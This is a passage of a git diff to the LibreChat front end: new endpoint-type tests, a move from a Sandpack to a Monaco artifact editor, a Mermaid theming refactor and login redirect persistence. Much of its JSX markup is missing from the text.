mockEndpointsConfig }), + useGetAgentByIdQuery: () => ({ data: mockAgentQueryData }), +})); + +jest.mock('../AgentsMapContext', () => ({ + useAgentsMapContext: () => mockAgentsMap, +})); + +jest.mock('../ChatContext', () => ({ + useChatContext: () => ({ conversation: mockConversation }), +})); + +function wrapper({ children }: { children: React.ReactNode }) { + return {children}; +} + +describe('DragDropContext endpointType resolution', () => { + beforeEach(() => { + mockConversation = null; + mockAgentsMap = {}; + mockAgentQueryData = undefined; + }); + + describe('non-agents endpoints', () => { + it('resolves custom endpoint type for a custom endpoint', () => { + mockConversation = { endpoint: 'Moonshot' }; + const { result } = renderHook(() => useDragDropContext(), { wrapper }); + expect(result.current.endpointType).toBe(EModelEndpoint.custom); + }); + + it('resolves endpoint name for a standard endpoint', () => { + mockConversation = { endpoint: EModelEndpoint.openAI }; + const { result } = renderHook(() => useDragDropContext(), { wrapper }); + expect(result.current.endpointType).toBe(EModelEndpoint.openAI); + }); + }); + + describe('agents endpoint with provider from agentsMap', () => { + it('resolves to custom for agent with Moonshot provider', () => { + mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' }; + mockAgentsMap = { + 'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial, + }; + const { result } = renderHook(() => useDragDropContext(), { wrapper }); + expect(result.current.endpointType).toBe(EModelEndpoint.custom); + }); + + it('resolves to custom for agent with custom provider with spaces', () => { + mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' }; + mockAgentsMap = { + 'agent-1': { provider: 'Some Endpoint', model_parameters: {} } as Partial, + }; + const { result } = renderHook(() => useDragDropContext(), { wrapper }); + expect(result.current.endpointType).toBe(EModelEndpoint.custom); + }); + + it('resolves to openAI for agent with openAI provider', () => { + mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' }; + mockAgentsMap = { + 'agent-1': { provider: EModelEndpoint.openAI, model_parameters: {} } as Partial, + }; + const { result } = renderHook(() => useDragDropContext(), { wrapper }); + expect(result.current.endpointType).toBe(EModelEndpoint.openAI); + }); + + it('resolves to anthropic for agent with anthropic provider', () => { + mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' }; + mockAgentsMap = { + 'agent-1': { provider: EModelEndpoint.anthropic, model_parameters: {} } as Partial, + }; + const { result } = renderHook(() => useDragDropContext(), { wrapper }); + expect(result.current.endpointType).toBe(EModelEndpoint.anthropic); + }); + }); + + describe('agents endpoint with provider from agentData query', () => { + it('uses agentData when agent is not in agentsMap', () => { + mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-2' }; + mockAgentsMap = {}; + mockAgentQueryData = { provider: 'Moonshot' } as Partial; + const { result } = renderHook(() => useDragDropContext(), { wrapper }); + expect(result.current.endpointType).toBe(EModelEndpoint.custom); + }); + }); + + describe('agents endpoint without provider', () => { + it('falls back to agents when no agent_id', () => { + mockConversation = { endpoint: EModelEndpoint.agents }; + const { result } = renderHook(() => useDragDropContext(), { wrapper }); + expect(result.current.endpointType).toBe(EModelEndpoint.agents); + }); + + it('falls back to agents when agent has no provider', () => { + mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' }; + mockAgentsMap = { 'agent-1': { model_parameters: {} } as Partial }; + const { result } = renderHook(() => useDragDropContext(), { wrapper }); + expect(result.current.endpointType).toBe(EModelEndpoint.agents); + }); + }); + + describe('consistency: same endpoint type whether used directly or through agents', () => { + it('Moonshot resolves to the same type as direct endpoint and as agent provider', () => { + mockConversation = { endpoint: 'Moonshot' }; + const { result: directResult } = renderHook(() => useDragDropContext(), { wrapper }); + + mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' }; + mockAgentsMap = { + 'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial, + }; + const { result: agentResult } = renderHook(() => useDragDropContext(), { wrapper }); + + expect(directResult.current.endpointType).toBe(agentResult.current.endpointType); + }); + }); +}); diff --git a/client/src/a11y/LiveAnnouncer.tsx b/client/src/a11y/LiveAnnouncer.tsx index 9a02711556..0eac8089bc 100644 --- a/client/src/a11y/LiveAnnouncer.tsx +++ b/client/src/a11y/LiveAnnouncer.tsx @@ -56,10 +56,13 @@ const LiveAnnouncer: React.FC = ({ children }) => { const announceAssertive = announcePolite; - const contextValue = { - announcePolite, - announceAssertive, - }; + const contextValue = useMemo( + () => ({ + announcePolite, + announceAssertive, + }), + [announcePolite, announceAssertive], + ); useEffect(() => { return () => { diff --git a/client/src/common/agents-types.ts b/client/src/common/agents-types.ts index 9ac6b440a3..c3ea06f890 100644 --- a/client/src/common/agents-types.ts +++ b/client/src/common/agents-types.ts @@ -1,6 +1,7 @@ import { AgentCapabilities, ArtifactModes } from 'librechat-data-provider'; import type { AgentModelParameters, + AgentToolOptions, SupportContact, AgentProvider, GraphEdge, @@ -8,6 +9,8 @@ import type { } from 'librechat-data-provider'; import type { OptionWithIcon, ExtendedFile } from './types'; +export type AgentQueryResult = { found: true; agent: Agent } | { found: false }; + export type TAgentOption = OptionWithIcon & Agent & { knowledge_files?: Array<[string, ExtendedFile]>; @@ -33,6 +36,8 @@ export type AgentForm = { model: string | null; model_parameters: AgentModelParameters; tools?: string[]; + /** Per-tool configuration options (deferred loading, allowed callers, etc.) */ + tool_options?: AgentToolOptions; provider?: AgentProvider | OptionWithIcon; /** @deprecated Use edges instead */ agent_ids?: string[]; diff --git a/client/src/components/Agents/tests/VirtualScrollingPerformance.test.tsx b/client/src/components/Agents/tests/VirtualScrollingPerformance.test.tsx index 1e1b7d1e4b..293bd8878e 100644 --- a/client/src/components/Agents/tests/VirtualScrollingPerformance.test.tsx +++ b/client/src/components/Agents/tests/VirtualScrollingPerformance.test.tsx @@ -179,9 +179,7 @@ describe('Virtual Scrolling Performance', () => { }; it('efficiently handles 1000 agents without rendering all DOM nodes', () => { - const startTime = performance.now(); renderComponent(1000); - const endTime = performance.now(); const virtualList = screen.getByTestId('virtual-list'); expect(virtualList).toBeInTheDocument(); @@ -191,19 +189,10 @@ describe('Virtual Scrolling Performance', () => { const renderedCards = screen.getAllByTestId(/agent-card-/); expect(renderedCards.length).toBeLessThan(50); // Much less than 1000 expect(renderedCards.length).toBeGreaterThan(0); - - // Performance check: rendering should be fast - const renderTime = endTime - startTime; - expect(renderTime).toBeLessThan(740); - - console.log(`Rendered 1000 agents in ${renderTime.toFixed(2)}ms`); - console.log(`Only ${renderedCards.length} DOM nodes created for 1000 agents`); }); it('efficiently handles 5000 agents (stress test)', () => { - const startTime = performance.now(); renderComponent(5000); - const endTime = performance.now(); const virtualList = screen.getByTestId('virtual-list'); expect(virtualList).toBeInTheDocument(); @@ -213,13 +202,6 @@ describe('Virtual Scrolling Performance', () => { const renderedCards = screen.getAllByTestId(/agent-card-/); expect(renderedCards.length).toBeLessThan(50); expect(renderedCards.length).toBeGreaterThan(0); - - // Performance should still be reasonable - const renderTime = endTime - startTime; - expect(renderTime).toBeLessThan(200); // Should render in less than 200ms - - console.log(`Rendered 5000 agents in ${renderTime.toFixed(2)}ms`); - console.log(`Only ${renderedCards.length} DOM nodes created for 5000 agents`); }); it('calculates correct number of virtual rows for different screen sizes', () => { diff --git a/client/src/components/Artifacts/ArtifactCodeEditor.tsx b/client/src/components/Artifacts/ArtifactCodeEditor.tsx index 4ab2b182b8..d03397821d 100644 --- a/client/src/components/Artifacts/ArtifactCodeEditor.tsx +++ b/client/src/components/Artifacts/ArtifactCodeEditor.tsx @@ -1,206 +1,326 @@ -import React, { useMemo, useState, useEffect, useRef, memo } from 'react'; +import React, { useMemo, useState, useEffect, useRef, useCallback } from 'react'; import debounce from 'lodash/debounce'; -import { KeyBinding } from '@codemirror/view'; -import { autocompletion, completionKeymap } from '@codemirror/autocomplete'; -import { - useSandpack, - SandpackCodeEditor, - SandpackProvider as StyledProvider, -} from '@codesandbox/sandpack-react'; -import type { SandpackProviderProps } from '@codesandbox/sandpack-react/unstyled'; -import type { SandpackBundlerFile } from '@codesandbox/sandpack-client'; -import type { CodeEditorRef } from '@codesandbox/sandpack-react'; -import type { ArtifactFiles, Artifact } from '~/common'; -import { useEditArtifact, useGetStartupConfig } from '~/data-provider'; +import MonacoEditor from '@monaco-editor/react'; +import type { Monaco } from '@monaco-editor/react'; +import type { editor } from 'monaco-editor'; +import type { Artifact } from '~/common'; import { useMutationState, useCodeState } from '~/Providers/EditorContext'; import { useArtifactsContext } from '~/Providers'; -import { sharedFiles, sharedOptions } from '~/utils/artifacts'; +import { useEditArtifact } from '~/data-provider'; -const CodeEditor = memo( - ({ - fileKey, - readOnly, - artifact, - editorRef, - }: { - fileKey: string; - readOnly?: boolean; - artifact: Artifact; - editorRef: React.MutableRefObject; - }) => { - const { sandpack } = useSandpack(); - const [currentUpdate, setCurrentUpdate] = useState(null); - const { isMutating, setIsMutating } = useMutationState(); - const { setCurrentCode } = useCodeState(); - const editArtifact = useEditArtifact({ - onMutate: (vars) => { - setIsMutating(true); - setCurrentUpdate(vars.updated); - }, - onSuccess: () => { - setIsMutating(false); - setCurrentUpdate(null); - }, - onError: () => { - setIsMutating(false); - }, - }); +const LANG_MAP: Record = { + javascript: 'javascript', + typescript: 'typescript', + python: 'python', + css: 'css', + json: 'json', + markdown: 'markdown', + html: 'html', + xml: 'xml', + sql: 'sql', + yaml: 'yaml', + shell: 'shell', + bash: 'shell', + tsx: 'typescript', + jsx: 'javascript', + c: 'c', + cpp: 'cpp', + java: 'java', + go: 'go', + rust: 'rust', + kotlin: 'kotlin', + swift: 'swift', + php: 'php', + ruby: 'ruby', + r: 'r', + lua: 'lua', + scala: 'scala', + perl: 'perl', +}; - /** - * Create stable debounced mutation that doesn't depend on changing callbacks - * Use refs to always access the latest values without recreating the debounce - */ - const artifactRef = useRef(artifact); - const isMutatingRef = useRef(isMutating); - const currentUpdateRef = useRef(currentUpdate); - const editArtifactRef = useRef(editArtifact); - const setCurrentCodeRef = useRef(setCurrentCode); +const TYPE_MAP: Record = { + 'text/html': 'html', + 'application/vnd.code-html': 'html', + 'application/vnd.react': 'typescript', + 'application/vnd.ant.react': 'typescript', + 'text/markdown': 'markdown', + 'text/md': 'markdown', + 'text/plain': 'plaintext', + 'application/vnd.mermaid': 'markdown', +}; - useEffect(() => { - artifactRef.current = artifact; - }, [artifact]); +function getMonacoLanguage(type?: string, language?: string): string { + if (language && LANG_MAP[language]) { + return LANG_MAP[language]; + } + return TYPE_MAP[type ?? ''] ?? 'plaintext'; +} - useEffect(() => { - isMutatingRef.current = isMutating; - }, [isMutating]); - - useEffect(() => { - currentUpdateRef.current = currentUpdate; - }, [currentUpdate]); - - useEffect(() => { - editArtifactRef.current = editArtifact; - }, [editArtifact]); - - useEffect(() => { - setCurrentCodeRef.current = setCurrentCode; - }, [setCurrentCode]); - - /** - * Create debounced mutation once - never recreate it - * All values are accessed via refs so they're always current - */ - const debouncedMutation = useMemo( - () => - debounce((code: string) => { - if (readOnly) { - return; - } - if (isMutatingRef.current) { - return; - } - if (artifactRef.current.index == null) { - return; - } - - const artifact = artifactRef.current; - const artifactIndex = artifact.index; - const isNotOriginal = - code && artifact.content != null && code.trim() !== artifact.content.trim(); - const isNotRepeated = - currentUpdateRef.current == null - ? true - : code != null && code.trim() !== currentUpdateRef.current.trim(); - - if (artifact.content && isNotOriginal && isNotRepeated && artifactIndex != null) { - setCurrentCodeRef.current(code); - editArtifactRef.current.mutate({ - index: artifactIndex, - messageId: artifact.messageId ?? '', - original: artifact.content, - updated: code, - }); - } - }, 500), - [readOnly], - ); - - /** - * Listen to Sandpack file changes and trigger debounced mutation - */ - useEffect(() => { - const currentCode = (sandpack.files['/' + fileKey] as SandpackBundlerFile | undefined)?.code; - if (currentCode) { - debouncedMutation(currentCode); - } - }, [sandpack.files, fileKey, debouncedMutation]); - - /** - * Cleanup: cancel pending mutations when component unmounts or artifact changes - */ - useEffect(() => { - return () => { - debouncedMutation.cancel(); - }; - }, [artifact.id, debouncedMutation]); - - return ( - (completionKeymap)} - className="hljs language-javascript bg-black" - /> - ); - }, -); - -export const ArtifactCodeEditor = function ({ - files, - fileKey, - template, +export const ArtifactCodeEditor = function ArtifactCodeEditor({ artifact, - editorRef, - sharedProps, + monacoRef, readOnly: externalReadOnly, }: { - fileKey: string; artifact: Artifact; - files: ArtifactFiles; - template: SandpackProviderProps['template']; - sharedProps: Partial; - editorRef: React.MutableRefObject; + monacoRef: React.MutableRefObject; readOnly?: boolean; }) { - const { data: config } = useGetStartupConfig(); const { isSubmitting } = useArtifactsContext(); - const options: typeof sharedOptions = useMemo(() => { - if (!config) { - return sharedOptions; - } - return { - ...sharedOptions, - activeFile: '/' + fileKey, - bundlerURL: template === 'static' ? config.staticBundlerURL : config.bundlerURL, - }; - }, [config, template, fileKey]); - const initialReadOnly = (externalReadOnly ?? false) || (isSubmitting ?? false); - const [readOnly, setReadOnly] = useState(initialReadOnly); - useEffect(() => { - setReadOnly((externalReadOnly ?? false) || (isSubmitting ?? false)); - }, [isSubmitting, externalReadOnly]); + const readOnly = (externalReadOnly ?? false) || isSubmitting; + const { setCurrentCode } = useCodeState(); + const [currentUpdate, setCurrentUpdate] = useState(null); + const { isMutating, setIsMutating } = useMutationState(); + const editArtifact = useEditArtifact({ + onMutate: (vars) => { + setIsMutating(true); + setCurrentUpdate(vars.updated); + }, + onSuccess: () => { + setIsMutating(false); + setCurrentUpdate(null); + }, + onError: () => { + setIsMutating(false); + }, + }); - if (Object.keys(files).length === 0) { + const artifactRef = useRef(artifact); + const isMutatingRef = useRef(isMutating); + const currentUpdateRef = useRef(currentUpdate); + const editArtifactRef = useRef(editArtifact); + const setCurrentCodeRef = useRef(setCurrentCode); + const prevContentRef = useRef(artifact.content ?? ''); + const prevArtifactId = useRef(artifact.id); + const prevReadOnly = useRef(readOnly); + + artifactRef.current = artifact; + isMutatingRef.current = isMutating; + currentUpdateRef.current = currentUpdate; + editArtifactRef.current = editArtifact; + setCurrentCodeRef.current = setCurrentCode; + + const debouncedMutation = useMemo( + () => + debounce((code: string) => { + if (readOnly || isMutatingRef.current || artifactRef.current.index == null) { + return; + } + const art = artifactRef.current; + const isNotOriginal = art.content != null && code.trim() !== art.content.trim(); + const isNotRepeated = + currentUpdateRef.current == null ? true : code.trim() !== currentUpdateRef.current.trim(); + + if (art.content != null && isNotOriginal && isNotRepeated && art.index != null) { + setCurrentCodeRef.current(code); + editArtifactRef.current.mutate({ + index: art.index, + messageId: art.messageId ?? '', + original: art.content, + updated: code, + }); + } + }, 500), + [readOnly], + ); + + useEffect(() => { + return () => debouncedMutation.cancel(); + }, [artifact.id, debouncedMutation]); + + /** + * Streaming: use model.applyEdits() to append new content. + * Unlike setValue/pushEditOperations, applyEdits preserves existing + * tokens so syntax highlighting doesn't flash during updates. + */ + useEffect(() => { + const ed = monacoRef.current; + if (!ed || !readOnly) { + return; + } + const newContent = artifact.content ?? ''; + const prev = prevContentRef.current; + + if (newContent === prev) { + return; + } + + const model = ed.getModel(); + if (!model) { + return; + } + + if (newContent.startsWith(prev) && prev.length > 0) { + const appended = newContent.slice(prev.length); + const endPos = model.getPositionAt(model.getValueLength()); + model.applyEdits([ + { + range: { + startLineNumber: endPos.lineNumber, + startColumn: endPos.column, + endLineNumber: endPos.lineNumber, + endColumn: endPos.column, + }, + text: appended, + }, + ]); + } else { + model.setValue(newContent); + } + + prevContentRef.current = newContent; + ed.revealLine(model.getLineCount()); + }, [artifact.content, readOnly, monacoRef]); + + useEffect(() => { + if (artifact.id === prevArtifactId.current) { + return; + } + prevArtifactId.current = artifact.id; + prevContentRef.current = artifact.content ?? ''; + const ed = monacoRef.current; + if (ed && artifact.content != null) { + ed.getModel()?.setValue(artifact.content); + } + }, [artifact.id, artifact.content, monacoRef]); + + useEffect(() => { + if (prevReadOnly.current && !readOnly && artifact.content != null) { + const ed = monacoRef.current; + if (ed) { + ed.getModel()?.setValue(artifact.content); + prevContentRef.current = artifact.content; + } + } + prevReadOnly.current = readOnly; + }, [readOnly, artifact.content, monacoRef]); + + const handleChange = useCallback( + (value: string | undefined) => { + if (value === undefined || readOnly) { + return; + } + prevContentRef.current = value; + setCurrentCode(value); + if (value.length > 0) { + debouncedMutation(value); + } + }, + [readOnly, debouncedMutation, setCurrentCode], + ); + + /** + * Disable all validation — this is an artifact viewer/editor, not an IDE. + * Note: these are global Monaco settings that affect all editor instances on the page. + * The `as unknown` cast is required because monaco-editor v0.55 types `.languages.typescript` + * as `{ deprecated: true }` while the runtime API is fully functional. + */ + const handleBeforeMount = useCallback((monaco: Monaco) => { + const { typescriptDefaults, javascriptDefaults, JsxEmit } = monaco.languages + .typescript as unknown as { + typescriptDefaults: { + setDiagnosticsOptions: (o: { + noSemanticValidation: boolean; + noSyntaxValidation: boolean; + }) => void; + setCompilerOptions: (o: { + allowNonTsExtensions: boolean; + allowJs: boolean; + jsx: number; + }) => void; + }; + javascriptDefaults: { + setDiagnosticsOptions: (o: { + noSemanticValidation: boolean; + noSyntaxValidation: boolean; + }) => void; + setCompilerOptions: (o: { + allowNonTsExtensions: boolean; + allowJs: boolean; + jsx: number; + }) => void; + }; + JsxEmit: { React: number }; + }; + const diagnosticsOff = { noSemanticValidation: true, noSyntaxValidation: true }; + const compilerBase = { allowNonTsExtensions: true, allowJs: true, jsx: JsxEmit.React }; + typescriptDefaults.setDiagnosticsOptions(diagnosticsOff); + javascriptDefaults.setDiagnosticsOptions(diagnosticsOff); + typescriptDefaults.setCompilerOptions(compilerBase); + javascriptDefaults.setCompilerOptions(compilerBase); + }, []); + + const handleMount = useCallback( + (ed: editor.IStandaloneCodeEditor) => { + monacoRef.current = ed; + prevContentRef.current = ed.getModel()?.getValue() ?? artifact.content ?? ''; + if (readOnly) { + const model = ed.getModel(); + if (model) { + ed.revealLine(model.getLineCount()); + } + } + }, + // eslint-disable-next-line react-hooks/exhaustive-deps + [monacoRef], + ); + + const language = getMonacoLanguage(artifact.type, artifact.language); + + const editorOptions = useMemo( + () => ({ + readOnly, + minimap: { enabled: false }, + lineNumbers: 'on', + scrollBeyondLastLine: false, + fontSize: 13, + tabSize: 2, + wordWrap: 'on', + automaticLayout: true, + padding: { top: 8 }, + renderLineHighlight: readOnly ? 'none' : 'line', + cursorStyle: readOnly ? 'underline-thin' : 'line', + scrollbar: { + vertical: 'visible', + horizontal: 'auto', + verticalScrollbarSize: 8, + horizontalScrollbarSize: 8, + useShadows: false, + alwaysConsumeMouseWheel: false, + }, + overviewRulerLanes: 0, + hideCursorInOverviewRuler: true, + overviewRulerBorder: false, + folding: false, + glyphMargin: false, + colorDecorators: !readOnly, + occurrencesHighlight: readOnly ? 'off' : 'singleFile', + selectionHighlight: !readOnly, + renderValidationDecorations: readOnly ? 'off' : 'editable', + quickSuggestions: !readOnly, + suggestOnTriggerCharacters: !readOnly, + parameterHints: { enabled: !readOnly }, + hover: { enabled: !readOnly }, + matchBrackets: readOnly ? 'never' : 'always', + }), + [readOnly], + ); + + if (!artifact.content) { return null; } return ( - - - +
+ +
); }; diff --git a/client/src/components/Artifacts/ArtifactTabs.tsx b/client/src/components/Artifacts/ArtifactTabs.tsx index 8e2a92eb9c..32332215f0 100644 --- a/client/src/components/Artifacts/ArtifactTabs.tsx +++ b/client/src/components/Artifacts/ArtifactTabs.tsx @@ -1,30 +1,26 @@ import { useRef, useEffect } from 'react'; import * as Tabs from '@radix-ui/react-tabs'; import type { SandpackPreviewRef } from '@codesandbox/sandpack-react/unstyled'; -import type { CodeEditorRef } from '@codesandbox/sandpack-react'; +import type { editor } from 'monaco-editor'; import type { Artifact } from '~/common'; import { useCodeState } from '~/Providers/EditorContext'; -import { useArtifactsContext } from '~/Providers'; import useArtifactProps from '~/hooks/Artifacts/useArtifactProps'; -import { useAutoScroll } from '~/hooks/Artifacts/useAutoScroll'; import { ArtifactCodeEditor } from './ArtifactCodeEditor'; import { useGetStartupConfig } from '~/data-provider'; import { ArtifactPreview } from './ArtifactPreview'; export default function ArtifactTabs({ artifact, - editorRef, previewRef, isSharedConvo, }: { artifact: Artifact; - editorRef: React.MutableRefObject; previewRef: React.MutableRefObject; isSharedConvo?: boolean; }) { - const { isSubmitting } = useArtifactsContext(); const { currentCode, setCurrentCode } = useCodeState(); const { data: startupConfig } = useGetStartupConfig(); + const monacoRef = useRef(null); const lastIdRef = useRef(null); useEffect(() => { @@ -34,33 +30,24 @@ export default function ArtifactTabs({ lastIdRef.current = artifact.id; }, [setCurrentCode, artifact.id]); - const content = artifact.content ?? ''; - const contentRef = useRef(null); - useAutoScroll({ ref: contentRef, content, isSubmitting }); - const { files, fileKey, template, sharedProps } = useArtifactProps({ artifact }); return (
- + - + (); const previewRef = useRef(); const [isVisible, setIsVisible] = useState(false); const [isClosing, setIsClosing] = useState(false); @@ -297,7 +296,6 @@ export default function Artifacts() {
} previewRef={previewRef as React.MutableRefObject} isSharedConvo={isSharedConvo} /> diff --git a/client/src/components/Artifacts/Code.tsx b/client/src/components/Artifacts/Code.tsx index 6894ce775b..001b010908 100644 --- a/client/src/components/Artifacts/Code.tsx +++ b/client/src/components/Artifacts/Code.tsx @@ -1,11 +1,8 @@ -import React, { memo, useEffect, useRef, useState } from 'react'; +import React, { memo, useState } from 'react'; import copy from 'copy-to-clipboard'; -import rehypeKatex from 'rehype-katex'; -import ReactMarkdown from 'react-markdown'; import { Button } from '@librechat/client'; -import rehypeHighlight from 'rehype-highlight'; import { Copy, CircleCheckBig } from 'lucide-react'; -import { handleDoubleClick, langSubset } from '~/utils'; +import { handleDoubleClick } from '~/utils'; import { useLocalize } from '~/hooks'; type TCodeProps = { @@ -29,74 +26,6 @@ export const code: React.ElementType = memo(({ inline, className, children }: TC return {children}; }); -export const CodeMarkdown = memo( - ({ content = '', isSubmitting }: { content: string; isSubmitting: boolean }) => { - const scrollRef = useRef(null); - const [userScrolled, setUserScrolled] = useState(false); - const currentContent = content; - const rehypePlugins = [ - [rehypeKatex], - [ - rehypeHighlight, - { - detect: true, - ignoreMissing: true, - subset: langSubset, - }, - ], - ]; - - useEffect(() => { - const scrollContainer = scrollRef.current; - if (!scrollContainer) { - return; - } - - const handleScroll = () => { - const { scrollTop, scrollHeight, clientHeight } = scrollContainer; - const isNearBottom = scrollHeight - scrollTop - clientHeight < 50; - - if (!isNearBottom) { - setUserScrolled(true); - } else { - setUserScrolled(false); - } - }; - - scrollContainer.addEventListener('scroll', handleScroll); - - return () => { - scrollContainer.removeEventListener('scroll', handleScroll); - }; - }, []); - - useEffect(() => { - const scrollContainer = scrollRef.current; - if (!scrollContainer || !isSubmitting || userScrolled) { - return; - } - - scrollContainer.scrollTop = scrollContainer.scrollHeight; - }, [content, isSubmitting, userScrolled]); - - return ( -
- - {currentContent} - -
- ); - }, -); - export const CopyCodeButton: React.FC<{ content: string }> = ({ content }) => { const localize = useLocalize(); const [isCopied, setIsCopied] = useState(false); diff --git a/client/src/components/Artifacts/Mermaid.tsx b/client/src/components/Artifacts/Mermaid.tsx index f7291998a4..5eb55be3ae 100644 --- a/client/src/components/Artifacts/Mermaid.tsx +++ b/client/src/components/Artifacts/Mermaid.tsx @@ -1,153 +1,123 @@ -import React, { useEffect, useRef, useState } from 'react'; +import React, { useEffect, useRef, useState, useCallback } from 'react'; import mermaid from 'mermaid'; import { Button } from '@librechat/client'; -import { TransformWrapper, TransformComponent, ReactZoomPanPinchRef } from 'react-zoom-pan-pinch'; -import { ZoomIn, ZoomOut, RefreshCw } from 'lucide-react'; +import { ZoomIn, ZoomOut, RotateCcw } from 'lucide-react'; +import { TransformWrapper, TransformComponent } from 'react-zoom-pan-pinch'; +import type { ReactZoomPanPinchRef } from 'react-zoom-pan-pinch'; +import { artifactFlowchartConfig } from '~/utils/mermaid'; interface MermaidDiagramProps { content: string; + isDarkMode?: boolean; } -/** Note: this is just for testing purposes, don't actually use this component */ -const MermaidDiagram: React.FC = ({ content }) => { +const MermaidDiagram: React.FC = ({ content, isDarkMode = true }) => { const mermaidRef = useRef(null); const transformRef = useRef(null); const [isRendered, setIsRendered] = useState(false); + const theme = isDarkMode ? 'dark' : 'neutral'; + const bgColor = isDarkMode ? '#212121' : '#FFFFFF'; useEffect(() => { mermaid.initialize({ startOnLoad: false, - theme: 'base', + theme, securityLevel: 'sandbox', - themeVariables: { - background: '#282C34', - primaryColor: '#333842', - secondaryColor: '#333842', - tertiaryColor: '#333842', - primaryTextColor: '#ABB2BF', - secondaryTextColor: '#ABB2BF', - lineColor: '#636D83', - fontSize: '16px', - nodeBorder: '#636D83', - mainBkg: '#282C34', - altBackground: '#282C34', - textColor: '#ABB2BF', - edgeLabelBackground: '#282C34', - clusterBkg: '#282C34', - clusterBorder: '#636D83', - labelBoxBkgColor: '#333842', - labelBoxBorderColor: '#636D83', - labelTextColor: '#ABB2BF', - }, - flowchart: { - curve: 'basis', - nodeSpacing: 50, - rankSpacing: 50, - diagramPadding: 8, - htmlLabels: true, - useMaxWidth: true, - padding: 15, - wrappingWidth: 200, - }, + flowchart: artifactFlowchartConfig, }); const renderDiagram = async () => { - if (mermaidRef.current) { - try { - const { svg } = await mermaid.render('mermaid-diagram', content); - mermaidRef.current.innerHTML = svg; + if (!mermaidRef.current) { + return; + } - const svgElement = mermaidRef.current.querySelector('svg'); - if (svgElement) { - svgElement.style.width = '100%'; - svgElement.style.height = '100%'; + try { + const { svg } = await mermaid.render('mermaid-diagram', content); + mermaidRef.current.innerHTML = svg; - const pathElements = svgElement.querySelectorAll('path'); - pathElements.forEach((path) => { - path.style.strokeWidth = '1.5px'; - }); - - const rectElements = svgElement.querySelectorAll('rect'); - rectElements.forEach((rect) => { - const parent = rect.parentElement; - if (parent && parent.classList.contains('node')) { - rect.style.stroke = '#636D83'; - rect.style.strokeWidth = '1px'; - } else { - rect.style.stroke = 'none'; - } - }); - } - setIsRendered(true); - } catch (error) { - console.error('Mermaid rendering error:', error); + const svgElement = mermaidRef.current.querySelector('svg'); + if (svgElement) { + svgElement.style.width = '100%'; + svgElement.style.height = '100%'; + } + setIsRendered(true); + } catch (error) { + console.error('Mermaid rendering error:', error); + if (mermaidRef.current) { mermaidRef.current.innerHTML = 'Error rendering diagram'; } } }; renderDiagram(); - }, [content]); + }, [content, theme]); - const centerAndFitDiagram = () => { + const centerAndFitDiagram = useCallback(() => { if (transformRef.current && mermaidRef.current) { const { centerView, zoomToElement } = transformRef.current; zoomToElement(mermaidRef.current as HTMLElement); centerView(1, 0); } - }; + }, []); useEffect(() => { if (isRendered) { centerAndFitDiagram(); } - }, [isRendered]); + }, [isRendered, centerAndFitDiagram]); - const handlePanning = () => { - if (transformRef.current) { - const { state, instance } = (transformRef.current as ReactZoomPanPinchRef | undefined) ?? {}; - if (!state || !instance) { - return; - } - const { scale, positionX, positionY } = state; - const { wrapperComponent, contentComponent } = instance; - - if (wrapperComponent && contentComponent) { - const wrapperRect = wrapperComponent.getBoundingClientRect(); - const contentRect = contentComponent.getBoundingClientRect(); - const maxX = wrapperRect.width - contentRect.width * scale; - const maxY = wrapperRect.height - contentRect.height * scale; - - let newX = positionX; - let newY = positionY; - - if (newX > 0) { - newX = 0; - } - if (newY > 0) { - newY = 0; - } - if (newX < maxX) { - newX = maxX; - } - if (newY < maxY) { - newY = maxY; - } - - if (newX !== positionX || newY !== positionY) { - instance.setTransformState(scale, newX, newY); - } - } + const handlePanning = useCallback(() => { + if (!transformRef.current) { + return; } - }; + + const { state, instance } = transformRef.current; + if (!state || !instance) { + return; + } + const { scale, positionX, positionY } = state; + const { wrapperComponent, contentComponent } = instance; + + if (!wrapperComponent || !contentComponent) { + return; + } + + const wrapperRect = wrapperComponent.getBoundingClientRect(); + const contentRect = contentComponent.getBoundingClientRect(); + const maxX = wrapperRect.width - contentRect.width * scale; + const maxY = wrapperRect.height - contentRect.height * scale; + + let newX = positionX; + let newY = positionY; + + if (newX > 0) { + newX = 0; + } + if (newY > 0) { + newY = 0; + } + if (newX < maxX) { + newX = maxX; + } + if (newY < maxY) { + newY = maxY; + } + + if (newX !== positionX || newY !== positionY) { + instance.setTransformState(scale, newX, newY); + } + }, []); return ( -
+
= ({ content }) => {
diff --git a/client/src/components/Auth/Login.tsx b/client/src/components/Auth/Login.tsx index 48a506879f..7c3adf51bd 100644 --- a/client/src/components/Auth/Login.tsx +++ b/client/src/components/Auth/Login.tsx @@ -1,15 +1,19 @@ import { useEffect, useState } from 'react'; import { ErrorTypes, registerPage } from 'librechat-data-provider'; import { OpenIDIcon, useToastContext } from '@librechat/client'; -import { useOutletContext, useSearchParams } from 'react-router-dom'; +import { useOutletContext, useSearchParams, useLocation } from 'react-router-dom'; import type { TLoginLayoutContext } from '~/common'; +import { getLoginError, persistRedirectToSession } from '~/utils'; import { ErrorMessage } from '~/components/Auth/ErrorMessage'; import SocialButton from '~/components/Auth/SocialButton'; import { useAuthContext } from '~/hooks/AuthContext'; -import { getLoginError } from '~/utils'; import { useLocalize } from '~/hooks'; import LoginForm from './LoginForm'; +interface LoginLocationState { + redirect_to?: string; +} + function Login() { const localize = useLocalize(); const { showToast } = useToastContext(); @@ -17,13 +21,22 @@ function Login() { const { startupConfig } = useOutletContext(); const [searchParams, setSearchParams] = useSearchParams(); - // Determine if auto-redirect should be disabled based on the URL parameter + const location = useLocation(); const disableAutoRedirect = searchParams.get('redirect') === 'false'; - // Persist the disable flag locally so that once detected, auto-redirect stays disabled. const [isAutoRedirectDisabled, setIsAutoRedirectDisabled] = useState(disableAutoRedirect); useEffect(() => { + const redirectTo = searchParams.get('redirect_to'); + if (redirectTo) { + persistRedirectToSession(redirectTo); + } else { + const state = location.state as LoginLocationState | null; + if (state?.redirect_to) { + persistRedirectToSession(state.redirect_to); + } + } + const oauthError = searchParams?.get('error'); if (oauthError && oauthError === ErrorTypes.AUTH_FAILED) { showToast({ 